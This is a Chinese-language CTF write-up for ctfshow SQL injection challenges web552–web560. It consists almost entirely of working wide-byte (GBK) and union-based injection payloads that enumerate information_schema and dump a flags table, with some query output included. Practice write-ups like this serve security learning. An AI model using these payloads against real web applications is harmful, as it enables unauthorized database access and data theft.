web552

宽字节注入
嗯原理我就不讲了，还是有点复杂后面有时间讲讲
总而言之就是用汉字把\的转义作用抵消了然后正常注入即可

?id=-1包' union select 1,2,3--+

?id=-1包'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77),3--+

?id=-1包'union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773),3--+

?id=-1包'union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

web553

与上题同

web554

passwd=admin&uname=爱' union select 1,2--+

passwd=admin&uname=爱' union select 1,(select group_concat(schema_name) from information_schema.schemata)--+
Your Password:ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test

passwd=admin&uname=爱' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77)--+
Your Password:flags

passwd=admin&uname=爱' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773)--+
Your Password:id,flag4s

passwd=admin&uname=爱' union select 1,(select group_concat(flag4s) from ctfshow.flags)--+

web555

警告是说第一个参数应该是一个数而不是布尔

?id=1.1 union select 1,2,3--+

?id=1.1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77),3--+

?id=1.1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773),3--+

?id=1.1 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

后面发现-1也可以

web556

又变成宽字节了

?id=-1爱' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77),3--+

?id=-1爱' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773),3--+

?id=-1爱' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

web557

这东西和前面的一模一样感觉在凑数

passwd=admin&uname=爱' union select 1,2--+

passwd=admin&uname=爱' union select 1,(select group_concat(schema_name) from information_schema.schemata)--+
Your Password:ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test

passwd=admin&uname=爱' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77)--+
Your Password:flags

passwd=admin&uname=爱' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773)--+
Your Password:id,flag4s

passwd=admin&uname=爱' union select 1,(select group_concat(flag4s) from ctfshow.flags)--+

web558

简单的联合注入

?id=-1' union select 1,2,3--+

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3--+

?id=-1' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

web559

Please input the ID as parameter with numeric value
要一个数字参数

?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+

?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3--+

?id=-1 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

web560

测出闭合
?id=-1') or 1--+
?id=-1') or 0--+

?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3--+

?id=-1') union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+